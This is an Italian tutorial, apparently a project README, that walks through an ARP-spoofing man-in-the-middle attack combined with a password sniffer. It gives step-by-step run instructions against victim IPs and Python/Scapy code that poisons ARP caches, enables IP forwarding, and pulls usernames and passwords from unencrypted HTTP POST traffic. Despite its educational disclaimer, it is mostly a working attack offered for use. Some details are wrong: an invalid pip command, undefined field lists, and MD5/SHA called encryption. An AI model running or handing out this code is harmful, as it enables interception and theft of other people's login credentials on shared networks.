Man in the middle con password sniffer
Questo codice è stato sviluppato per il solo scopo didattico. Si declina ogni responsabilità per un eventuale uso improprio.
Il funzionamento si basa sul Man-In-The-Middle che viene effettuato tramite un attacco di tipo ARP spoofer grazie al quale è possibile identificarsi su una rete con l'indirizzo MAC di un altra macchina.
Il frame ARP è composto da diverse parti, alcune di esse sono:
- op: indica l'operazione che svolge il frame differenziando tra:
- 1 = who-has, indica un ARP Request
- 2 = is-at, indica un ARP Reply
- hwdst: contiene l'indirizzo MAC di destinazione
- pdst: contiene l'indirizzo IP di destinazione
- hwsrc: contiene l'indirizzo MAC sorgente
- psrc: contiene l'indirizzo IP sorgente
Per poter avviare il codice bisogna installare le seguenti librerie:
- scapy
- sys
- time
- os
- re
- urllib
Si possono installare col seguente comando:
pip install scapy, sys, time, os, re, urllibSe c'è bisogno di ottenere gli indirizzi IP delle vittime si può scansionare la rete con nmap usando il seguente comando e sostituendo networkIP con l'indirizzo di rete e CIDR con il CIDR della rete:
nmap -O networkIP/CIDREsempio:
nmap -O 192.168.0.0/24Per un corretto funzionamento inserire la propria interfaccia di rete nel file sniffer.py alla riga 50 al posto di eth0:
iface = "eth0"Per avviare l'attacco bisogna aprire due terminali nella cartella in cui si trovano i due file. Nel primo bisogna eseguire il seguente comando sostituendo i due indirizzi con quelli delle vittime:
python3 ARPspoofer.py indirizzoIP1 indirizzoIP2Esempio:
python3 ARPspoofer.py 192.168.0.1 192.164.0.234Nel secondo basta eseguire il comando:
python3 sniffer.pyDi verranno seguito spiegati i codici dell'ARP spoofer e del Password sniffer.
Spiegazione del codice contenuto in ARPspoofer.py.
import scapy.all as scapy
import sys, time, os
from scapy.layers.l2 import ARP, EtherPer ottenere gli IP inseriti in riga di comando:
target_ip = str(sys.argv[2])
router_ip = str(sys.argv[1])Loop:
try:
#Abilita l'IP Forwarding
os.system("echo 1 >> /proc/sys/net/ipv4/ip_forward")
while True:
spoof(router_ip, target_ip, router_mac, target_mac)
time.sleep(2)
#Interrompe il loop tramite tastiera
except KeyboardInterrupt:
#Disabilita l'IP Forwarding
os.system("echo 0 >> /proc/sys/net/ipv4/ip_forward")
print('Closing ARP Spoofer')
exit(0)La funzione get_mac_address(ip) ottiene l'indirizzo MAC collegato all'indirizzo IP inserito utilizzando delle ARP Request generate con scapy:
#Ottiene l'indirizzo MAC
def get_mac_address(ip):
#Crea il layer Ethernet con destinazione l'indirizzo di broadcast
broadcast_layer = Ether(dst='ff:ff:ff:ff:ff:ff')
#Crea il layer ARP con IP di destinazione uguale all'IP inserito
arp_layer = ARP(pdst=ip)
#Incapsula il layer ARP nel layer Ethernet e crea il pacchetto
get_mac_packet = broadcast_layer/arp_layer
#Genera l'ARP Request e riceve l'ARP Reply
answer = scapy.srp(get_mac_packet, timeout=2, verbose=False)[0]
#Torna l'indirizzo MAC ricevuto
return answer[0][1].hwsrcLa funzione spoof(router_ip, target_ip, router_mac, target_mac) genera e invia i frame ARP "avvelenati" alle vittime con scapy:
#Invia i frame avvelenati alle vittime
def spoof(router_ip, target_ip, router_mac, target_mac):
#Crea un frame con destinatario la vittima1 fingendosi la vittima2
packet1 = ARP(op=2, hwdst=router_mac, pdst=router_ip, psrc=target_ip)
#Crea un frame con destinatario la vittima1 fingendosi la vittima2
packet2 = ARP(op=2, hwdst=target_mac, pdst=target_ip, psrc=router_ip)
#Invia i pacchetti
scapy.send(packet1)
scapy.send(packet2)Spiegazione del codice contenuto in sniffer.py.
from scapy.all import *
from urllib import parse
import re
from scapy.layers import httpLoop:
# Interfaccia di rete
iface = "eth0"
try:
sniff(iface=iface, # Specifica l'interfaccia di rete
prn=pkt_parser, # Specifica il pacchetto da analizzare
store=0)
# Interrompre il loop tramite tastiera
except KeyboardInterrupt:
print('Exiting Sniffer')
exit(0)La funzione pkt_parser(packet) analizza il pacchetto inserito e ritorna username e password se ne trova:
# Analizzatore di pacchetti
def pkt_parser(packet):
# Controlla la presenza di layer HTTPRequest e se ottenuti con POST
if packet.haslayer(http.HTTPRequest) and packet[http.HTTPRequest].Method == b'POST':
# Ottiene i dati contenuti del pacchetto
raw_fields = packet[http.HTTPRequest].getlayer('Raw').fields
body = str(raw_fields['load'])
#Cerca username e password allinterno dei dati
user_pass = get_login_pass(body)
# Controlla se lo sniffer ha ottenuto un'username e una password
if user_pass != None:
print(parse.unquote(user_pass[0]))
print(parse.unquote(user_pass[1]))
else:
passLa funzione get_login_pass(body) cerca username e password confrontando i campi contenuti nelle liste userfields e passwordfields con quelli contenuti nei dati del pacchetto in analisi:
def get_login_pass(body):
user = None
passwd = None
# Compara i campi contenuti nelle liste con quelli dei dati nel pacchetto in analisi
for login in userfields:
login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
if login_re:
user = login_re.group()
for passfd in passfields:
pass_re = re.search('(%s=[^&]+)' % passfd, body, re.IGNORECASE)
if pass_re:
passwd = pass_re.group().rstrip('\'')
# Se ottiene username e password li ritorna
if user and passwd:
return (user, passwd)Il programma sfrutta prima di tutto la bassa sicurezza del protocollo ARP che è facilmente infettabile da un criminale per eseguire MITM, ARP poisoning e altri attacchi. Per quanto riguarda lo sniffer, questo sfrutta la mancanza di sicurezza nei siti internet sprovvisti di HTTPS o che inviano le password e gli username degli utenti “in chiaro”, ossia senza sistemi di crittografia come MD5 o SHA, tramite PHP.